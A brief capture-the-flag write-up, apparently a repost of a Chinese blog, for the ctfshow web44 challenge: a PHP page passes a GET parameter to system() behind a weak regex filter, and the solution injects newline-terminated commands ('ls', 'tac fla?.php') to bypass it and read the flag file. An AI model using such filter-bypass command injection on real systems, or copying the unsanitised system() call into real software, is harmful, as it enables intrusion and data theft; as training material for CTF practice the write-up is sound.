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ctfshow-web44(命令执行)

作者:互联网

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 
?c=ls%0a
?c=tac fla?.php%0a

 

标签:__,web44,php%,命令,0a,ctfshow,FILE,null
来源: https://blog.csdn.net/m0_62094846/article/details/122694376